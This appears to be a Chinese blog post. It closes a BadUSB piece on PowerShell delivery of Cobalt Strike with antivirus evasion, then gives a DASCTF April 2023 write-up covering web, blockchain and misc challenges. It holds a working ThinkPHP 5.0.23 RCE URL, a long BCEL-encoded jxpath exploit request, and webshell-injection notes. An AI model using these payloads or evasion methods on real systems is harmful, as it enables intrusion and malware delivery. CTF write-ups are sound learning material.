由于CapsLock按键可能原本就是按下的状态,你再按下一次就关掉了,但是如果没有输入法的影响还是可以正常输入的,而url的目录是大小写敏感的,我们则使用数字来确保目录是可以访问到的。
这里的powershell的payload是从服务器上下载的CS负载,下载后在内存中运行也可以免杀的效果。
但是这样还不够,这样可以绕过火绒和360,但是连Windows Defender都过不了,不懂。
Cobalt Strick的PowerShell免杀
运行效果如图


由于Windows Defender好像还会监控流量(不过尽早迁移就可以了),并且这么大一个黑框和命令能让人不害怕吗,很快就会被人关掉,所以我用了插件使得他会自动迁移,更具体的会写在Cobalt Strick的PowerShell免杀
至此Badusb完成了他近源渗透中光荣的一声被当成坏掉的u盘丢进垃圾桶了。
badusb使用倒不困难,困难的还是如何做好PowerShell的免杀。

DASCTF Apr.2023 X SU战队2023开局之战

Web

pdf_converte

这题一开始有非预期解,只要进入下发附件目录,查看changelogs即可发现该版本为“最新的”Thinkphp5.0.23

┌──(root㉿hz2016-rogx)-[~]
└─# searchsploit thinkphp 5.0.23
-------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                        |  Path
-------------------------------------------------------------------------------------- ---------------------------------
ThinkPHP 5.0.23/5.1.31 - Remote Code Execution                                        | php/webapps/45978.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

搜索得到相应EXP,修改一下相应指令即可获取flag

http://<URL>/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=php%20-r%20%27system(%22cat%20/flag%22);%27

pdf_converter_revenge

然而,很快就修复了这个非预期解,并以一道新题目上新

“`dompdf/src/FontMetrics.php“`文件名可控
通过“`exploit_norml_md5(data:text/plain;base64,exp).ttf“`打exp
后面会校验font.ttf文件头。需要将一个ttf文件拼接一下

你听说过 js 的 webshell 吗

首先,我先喷一句(已经没有记忆/没有痕迹了,可能喷错,喷错评论叫我改推文),你公告自己写着不用使用扫描器,然而WP里面直接给我来了句使用dirsearch扫描
然后,搁着不引入字典就不算扫描了是吧。

TODO:字典
在泄露的app.js中可以看到route/api的就几个js文件
尝试获取源代码

https://127.0.0.1/middlewares/api.js
https://127.0.0.1/middlewares/api
https://127.0.0.1/middlewares/api/index.js

发现了API注册逻辑
读取API源码

https://127.0.0.1/api/v2/coding/versionList.js
#同时也获取到后端代理源码
http://127.0.0.1/request/coding.js

获取到openapi的token,参考文档文档 https://coding.net/help/openapi
将仓库clone下来,通过v3的APIhttps://127.0.0.1/v3/UpdateAllProduct注入webshell
后面就是垃圾东西了,没有必要看,吐槽一下现在的CTF,题目是难了,但是不是那种有意思的难,存粹一步一步套娃,复现都恶心了。

ezjxpath

jxpath有cve-2022-41852
不会也没看到wp,先把wp放着了

curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:8080' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 6096' -H $'cmd: cat /flag' \
    --data-binary $'query=runMain%28com.sun.org.apache.bcel.internal.util.JavaWrapper.new%28%29%2C%22%24%24BCEL%24%24%24l%248b%24I%24A%24A%24A%24A%24A%24A%24A%248dV%24c9w%24d3F%24Y%24ffMb%245b%24b2%24y%24g%24e2%24E%2482%24d8w%249c%2440%24ecR%24ba%2440%24C%2494%2490%24Q%24a08%2481b%24m%2485P%2440Q%2486D%24c4%2496%248c%24q%24t%24a1%24fbBw%24ba%24aft%24a1%24x%24a5%24eb%24a1%24X%24c3%2483G%24l%24e7%24k%24fb%245e%24P%24fd%24T%24faz%24e8%24b5%2487%243e%24dao%24q%249b%24d8%24c4%24b4%24f5a4%24f3%24ad%24bf%24f9%24b6%24f1O%24d7%24_%24ff%24I%24e0N%247c%24af%24m%248a%24fd%24K%24O%2460%2440%24y%24P%24c88%24a8%24e0%24Q%24Ge%24i%2496%24f0%24a0%24C%24JG%24q%24iUp%24M%24ba%248c%24n%24Z%2486%248ca%24Z%245cF%24b7%24e0%24j%24971%24o%24a3G%24c2%24a8%24900e%24f4%24ca8%24a1%2460%24MY%24FM%24c8%24c9%24b0%24c4%24d7%2496%2491%2497qRl%24j%24Z%24ae%24MOFA%24c6%24b8p%243d%24ncR%24c2%24v%24F%24P%24e1a%24b1%243c%24a2%24e0Q%243c%24a6%24609%24k%2497%24f1%2484%24f8%243e%24v%2496%24a7d%243c%24z%24e3%24b4%2484g%24Y%24o%24hM%24cb%24f463%24d4%24tZ%24P0%2484%24ba%24eda%24ce%24d0%24906%24z%24de_%24c8%24Nqg%249f%243e%2494%24rJ%243cm%24hz%24f6%2480%24ee%2498%24e2%245c%24o%2486%24bcQ%24d3ehL%24Pq%24p%249b%24ca%24e4%24j%24d3%24g%24d96nf%243b%24Z%24c2Gs%24bai1%24ccN%24M%24a6O%24e8%24e3z%24w%24ab%245b%24p%24a9%248c%24tD%243a%247dO%24ba32%24ce%24d0T%2483%24cd%24c0%24Mau%248a%24d1%249d%24d5%245dW%24d0s%24Ms%24x%24e8%24O%243f%249e%24e5%2486%2497%24ea%24e3%24de%24a8%243d%24y%24El%24BuJ%2460%24f7%24d0%24J%24e2%24T%24a3%24%24%24b7%2496%247c%243a%24dc%24cd%24d3U%24j%247e%2492%24n%243a%24c2%24bd%24B%24c7%24f4%24b8%24T%24ecwp%247dX%24ec%24p%24T%24rb%24bd%2491%24h%24ae%24b6v%24D%249fl%24d8%24b9%249cn%24N%24d3%24e5c%24c6%24a8%24ee%24b8%24dc%24eb%24d7s%24U%2491%24Z%24ZO7%24c6%24fa%24f4%24bc%24l%24n%24J%24h%24u%24ef%24S%249e%24a5%24acSZ%24Z%2494m%2493%24G%24cf%247b%24a6m%24b9%24S%249ec%2498%24Z%24A%24df%24a3%243b%24a4MN%24c9%249e%2492%24b1%24L%248e%24c1%247bM%24R%24e0%2486%24a9%2498%24s%24F%24M%24V%24v%24dc%24%24%24e1y%24V%24_%24e0E%24V%24_%24e1%24M%24c3F%24db%24ZI%24ba%24be%24dcqaf%24c2v%24c6%2492%24T%247c%24ui%24d8%2496%24c7%24t%24bd%24q%24dd%24b6%24c0%245d%24_%24b97%24f8v%24H%24e4%24jv%2496%24ae%24x%24e1e%24V%24af%24e0U%2486f%24KAI%24a2%24cb%24a3%247b%24O%24V%243cNp%24gnJ%2482%248a%24d7%24f0%243a%24B%24bf9%24c4tI%24Vo%24e0M%2486%24z%24ff%24XO%2486%243b%24e3%24d9%249aNc%243e%24W7Oa%24a2%24m%24uS%24c8%24Y%24W%24I%24c7%2493I7%24d0%249d%24b2%24R%24I%24abxK%24a0%245bQ%24z4%24eay%24f9%24e4%24OZ%24aa%243dV%24dd%24oH%24ad%248a%24b7%24f1%24O%2483d%24bbI%248b%24a0KxW%24c5%247b8%24ab%24e2%247d%247c%24m%24w%24c3%24b4%2486%24ed%24J%24V%24l%24e2%24p%24w%248f%24ed%245bwQ%249d%24ef%24df%24d7%24db%24be%245e%24c59%24nP%243f%24b0%24b3%249fJ%24zE%24d5%24x%24a5%2486L%24x%24e5R%24ce%24eb%24da%24N%24V%24l%24e3%24T%24a2%2489%24a0xY%24ea%248aF%24dfq%24c13%24a9k%24M%24dd%24b2D%24o%243eU%24f1%24Z%243eW%24f1%24F%24ceK%24f8R%24c5%24F%247c%24r%24d2%24fd5Y8%24dc%24a5%24e2%24h%247c%24ab%24e2%243b%24e1%24r%247c%243c%245b%24Q%2486%24c3F%24d6%24W%24f1i%24b8%24a9%24fb%24Y%24e6%24dc%24aaC%24a8%24df%24a6X7j%24b1%24w%24Q%24fbF%24jj%24E%24aad%24a3%24e08%24dc%24f2%24ca%24e7%24e6Dk%24faf%24v%24ea%2484Y%2494%249cRE%24f9%24f5%2491%24b6%2483%24%24%24d2%24aa%24c4%24xXB%24a7%24s%2483%24ba0K%24h%249fB%24vL%24d4%24Y%24h5%24s%2482%24e8%24dc%24f2%24dd%24b6%24d4%24d0%24Z%249c%24a6%24d3%24fao%24f3%24pbZ%24e3%24f6%24Y%24FuCb%24fa%24U%24Z%249cNj%24ad5k%24g%24JS%24P%24e5Dw%24f8p%24Z%24db%24M%24g%24R%245d%2486%24c1%245d%24d7%24MFg%24e2%2490%2498%2482%2495%24Vx%24ca%24f5x%24%24%24u%24fe%243d%248e%249d%24e7%248ew%248aa%24e5%247f%24c4%24e1%24c6H%248ayv%24da%249e%24e0N%24b7%24%24j%24a2%243a%245b%2495s%24cb%24f2h%24%24S%2480%24e7U%24g%24ee%24a6%24Z%2496%24R%245da%24Z%24bc%24b3%24f5%2490om%247f%243e_%24b6%24s%248b%24q%24Hyi%249a%249e%24d7%24cer%243d%24fb%24a4%24bd%24F%24cb3s%24e5%24b6%24z%24lfU%24a9%2495%24c8%24a4%24Y%24e2%2493%249c%24ba%24rQ%24f3%2495%24a8%24mQ%2440D%24ec%24aa%245d%2495%2488%24M%24b7%2491%24ab%249dV%24be%24e0%2491%24s%24d7%24v%2486%24zew%24a6%249d%24aa%2460%2490z%245b%24a2%24s%24a3%24f6%24h%24a5%24W%245c%24de%24c3%24b3f%24%24x%24QV%24dd%243a%24X%2495%24ad%24y%24aeeQ%243f%2460%24J%2492%24f4%24u%248b_%24j%2498%2498%24dc%24b4%24ae%24a5S%248a%24be%248c%24be%24e1%24b6%248b%2460%243f%24f8%24ec%243bh%248d%24f8D%24V%24eb%24fc%24d5%24X%24a0%24ff%24Uw%24d17%248a%24bbq%24P%24ea%2485r%24dd%24V%243a%24cd%24A%24d8%24c4%24r%24d4%24VQ%24l%24P%24V%24RN%24af%248eG%24ea%24afB%24wB%24ee%245b%24c3h%24X%24zB%24e9%24_%24J%24c4%24C%24B%24b5%24y%24b0%243a%243e%24a3%24b4%24ed%24I%24adi%24_%24Jw%2484%24b5%24d0%248d%247d%24a4%24a4y%24hi%24c6%24h%24C%24e1%2499%24jR%2489%24da%24u%24a8%24f1%24QQ%24P%24d6%24c7%249b2%2482%24rk2%24c1h%24d6%24a4%2460%24d5%24c2eKQM%24d6%24o%24q%24g%24r%24d1Y%24q%24aa%245cCS%2487%24S%24b9Jk%24y%243e%24fb%24SZ%248a%2498%24T%24d7%248a%2498%247b%24Wr%247c%24de%24F2%243c%24bfC%24z1%24W%24c4%24X%24fa%248c%24b8%24W%24T%24caZ%24y%24U_%2494%24b9%2480%24Gq%245c%24ec%24l%2497%24d0%24g%24d6%2494%248cF%24be%2496%24c6%2497UB%24d2%24a2%2481%24d7%24xX%247e%24f0%24SVh%24U%2484%2495E%24ac%24d2%24d4%248bH%24c4%245b%248bh%24xb%24b5%24c03%24Q%24e8%24ae%24v%245dR%248b%2496%2490%2497%24e8%24ed%24d3%24e8%24o%245d%24f5%247e%24baN%2460%24%24%24adqJU%24TZ%24d0L%24d9%249e%2485v%24cc%24c6z%243a%24f5%2460%24OvC%24c3%24m%24c9%249c%24c4%243c%249c%24c1%247cz%24i%24X%24d0%245b%24b2%24Q%24e7%24b1%24I%2497I%24fa%24g%2496%24e2W%24y%24c3o%24f4%248f%24ec%24P%24ac%24c0%249fX%2485%24ebH%24b0%24Q%24da%2498%2482%24d5%24ac%24Xk%24d8%24R%24b4%24b3q%24aa%24oQ%24S%24a7%2483%24b4%2493%24fd%24N%24a2%2440%24d8%24Y%243a%24d0Ie%24d2%24c2%248ea%24p6Q%24R%24za%24H%24b0%24Z%24f7%24S%24be%24k%24b6%24O%245b%2488%24W%24c2n%2496%2440%24X%24d1%24c2%24Yd%24f3%24b1%2495v%24R%249cd%24Rt%24TW%24o%245c%24bf%24T%24d6M%2490%24J%24d5%24cf%24d8F%24dc%24ua%24bb%248a%245el%2487B%24I%24_b%24Hy%248b%24R%24ces%24d8I4%24V%24f7%2491%24ef%24f5%24I%24fd%248d_%24a0J%24d8%24r%24n%24z%24a1OB%247fy%24N6%24c1%247e7%24J%24A%245d%24b4%24f9%24L%248bi%248da%24Pi%2487%24I%24f3%24fd%24d8%24x%24ca%249b%2491%24v%24ba%24T2%247e%24P%24ec%24fb%24H%245e%24c7%248a%249fH%24L%24A%24A%22%2C%27%27%29' \
    $'http://127.0.0.1:8080/hack'

Blockchain

到国链之光一游

这题其实很新手,不过我对区块链一无所知,所以折腾了很久
首先题目给了一个部署在测试网的合同https://evmtestnet.confluxscan.io/address/0xEFEc01486FB7C8919be70f2c5333FD77326F65E2
我原本使用的是MetaMask但是好像没有Conflux eSpace (Testnet)测试网络的预设,要自己设置RPC等,所以后面改用了Fluent
查看合同,具体代码有所删减,只保留一部分

contract SignIn {
    address public owner;
    bytes32 private key;
    modifier onlyOwner() {
        require(tx.origin == owner);
        _;
    }
    constructor() {
        owner = tx.origin;
        key = keccak256(abi.encodePacked(block.timestamp));
    }
    function getFlag(bytes32 _key) external onlyOwner {//我需要是这个合同的owner
        require(_key == key);//并且需要计算得出这个合同的key
        greeter.getFlag();
    }
}
contract Greeter {
    event CaptureTheFlag(address indexed player);//触发这个
    mapping(address => bool) SignIn_Deployed;
    modifier onlySignIn() {//权限校验
        require(SignIn_Deployed[msg.sender]);
        _;
    }
    function startChallenge() external returns (address) {
        address _SignInAddress = address(new SignIn());//这里的new即创建了一个新的合约
        SignIn_Deployed[_SignInAddress] = true;//并且把新合约的地址设置为可以访问getFlag
        emit StartChallenge(_SignInAddress);
        return _SignInAddress;
    }
    function getFlag() external onlySignIn {//这里的onlySignIn即权限校验
        SignIn_Deployed[msg.sender] = false;
        emit CaptureTheFlag(tx.origin);//调用这个函数触发
    }
}

原本没有理解区块链的意义,导致绕了好久,还得是qsdz
TODO:qsdztql
首先我们要明白我们的目标,即触发
“`CaptureTheFlag“`事件,只能通过“`SignIn“`合约来完成,因为设置了函数调用权限。首先调用“`Greeter“`合约的“`startChallenge()“`函数创建出自己的“`SignIn“`合约,通过区块链浏览器查看“`SignIn“`合约的地址,计算变量“`key“`的值,最后调用“`SignIn“`合约的“`getFlag“`函数触发事件
上面的操作均可以使用区块链浏览器进行操作,计算key的方法不知道
我借助[Remix https://remix.ethereum.org](https://remix.ethereum.org)并新建一个合同

pragma solidity 0.8.19;
contract KeyMaker {
    function getKey(int timestamp) public pure returns (bytes32) {
        return keccak256(abi.encodePacked(timestamp));
    }
}

编译并且部署合同

将为自己生成的合同的timestamp转换成int填进去,即可得到最后需要的key,要注意一下时区不要搞错了

最后写getFlag合同即可。
但是其实这个方法也有点问题,因为区块链是所有信息都是公开的,我们根本不需要自己计算这个hash值(只是confluxscan这个区块链浏览器不显示罢了)
有大哥写了一个相关的操作库Poseidon,可以操作区块链,解决一些密码学/工作量证明问题。

# 脚本来自官方WP
from Poseidon.Blockchain import * # https://github.com/B1ue1nWh1te/Poseidon
# 连接至链
chain = Chain("https://evmtestnet.confluxrpc.com")
# 导入账户
account = Account(chain, "<PrivateKey>")
# 切换 solidity 版本
BlockchainUtils.SwitchSolidityVersion("0.8.19")
# 编译 Greeter 合约
abi, bytecode = BlockchainUtils.Compile("Greeter.sol", "Greeter")
# 合约实例化
contract = Contract(account, "<GreeterAddress>", abi)
# 调用 startChallenge 函数
contract.CallFunction("startChallenge")
# 以下部分的<SignInAddress>需要先通过区块链浏览器获取到合约地址并填入,这里只是为了方便展示而放在一起
# 编译 SignIn 合约
abi, bytecode = BlockchainUtils.Compile("Greeter.sol", "SignIn")
# 合约实例化
contract = Contract(account, "<SignInAddress>", abi)
# 读取存储插槽 slot 6 的值(key的值)
key = chain.GetStorage("<SignInAddress>", 6)
#print(Chain.DumpStorage("<SignInAddress>", Count)
# 调用 getFlag 函数,触发 CaptureTheFlag 事件
contract.CallFunction("getFlag", key)

同时这题的ProofOfWork又有新东西没见过,这个脚本都写了好一段时间,结果这个库也有(纯逆天……不好评价)

from Poseidon.PoW import PoWUtils
Connection = PoWUtils.ProofOfWork_SHA256_EndWithZero("<ServerIP>", 20000, "sha256(", " + ???)", 3, 10, "??? = ")
Connection.interactive()

顺便附上一段自己写了半天的代码

import os
import pwn
import time
import sqlite3
import string
import hashlib
import itertools
class Violent:
    def getid(self, target1,target2):
        d = string.ascii_letters + string.digits
        for i in itertools.product(d,repeat=3):
            target = target1+"".join(i)
            hash_hex = hashlib.sha256(target.encode()).digest()
            hash_bin_str = ''.join(format(byte, '08b') for byte in hash_hex)
            if hash_bin_str.endswith(target2):
                return target
vio = Violent()
print(vio.getid("<HASHCODE>","<ENDWITH>"))

Misc

Ge9ian’s Girl

清除格式发现隐藏的大小不一的字符,即替换为类似的字母(Unicode同形文字)。
为Twitter Secret Messages
解密网站
1. https://holloway.nz/steg/
解密即得压缩包密钥

result = b''
for i in range(1, 521):
    filename = f'two/{i}.txt'
    with open(filename, 'rb') as f:
        data = f.read()
    result += data
with open('result.jpg', 'wb') as f:
    f.write(bytes.fromhex('FFD8FF') + result)

将文件拼接并补上jpg头
“`FF D8 FF“`,发现备注得到密码“`Ge9ian“`和“我们的密码”oursecret,解密即可
我也是看WP才知道是Oursecret加密,借用[d3f4u1t’s blog](https://superfengi.github.io/2023/04/22/das-su/)的图片
[![](https://blog.hz2016.com/wp-content/uploads/2023/04/wp_editor_md_9a94d956c7671af14e7aba9ddd574a2b.jpg)](https://blog.hz2016.com/wp-content/uploads/2023/04/wp_editor_md_9a94d956c7671af14e7aba9ddd574a2b.jpg)
Oursecret加密存在“`ž—º*“`可以进行判断

secret of bkfish

foremost可以分理出两张照片,第二张照片有lsb,提取字节与255(双精度取反)异或

msg = 'bbbeacbcabb98488bacebc9092baa08bcfa0bbbe8c9cc899a087a0ac8aa0a09e8f8d96ce82'
msg = bytes.fromhex(msg)
s = []
for i in msg:
    s.append(i ^ 255)
bytes(s)

然而官方wp有一个SSuite Picsel,可以用两张图片隐写在一起

7里香

在线编解码:https://yuanfux.github.io/zero-width-web/
得到密文

This is not only a hint, but also a keyfile.

压缩包密码不懂,2分10秒找不出东西
结合倒放,反过来看veracrypt,猜测使用veracrypt加密
直接爆破出两个密码,压缩包为套娃,编写脚本交替解压
脚本为官方WP

#!/bin/bash
#初始密码
password="J4y"
#压缩文件名
file="210.zip"
#循环210次,每次解密和解压缩
for i in {210..1}
do
  #解密文件
  unzip -qq -P "$password" "$file"
  #更新文件名和密码
  file="Si.zip"
  if(($i%2=1))
  then
    password="Jay"
  else
    password="J4y"
  fi
done
#解压最后一层压缩包
unzip -qq -P "$password" "$file"
#输出解压后的文件名
echo "解压后的文件名:$(basename "$file".Zip)"

密码为歌曲名拼音,在线转http://www.aies.cn/pinyin.htm
用VeraCrypt(PassWare)对mp3进行解密,最终尝试得到密码为geqian
40.bmp中发现头FFFF4944FFFF3304,为MP3格式,每两个字节插⼊MP3⽂件的两个字节,提取出来

with open('40.bmp', 'rb') as f:
    data = f.read()
with open('123.mp3', 'wb') as f:
    f.write(b''.join([data[i:i+2] for i in range(0, len(data), 4)]))

二进制发现base64,解码即可
PS:后来看到别的师傅的WP好像有一个这样的软件好用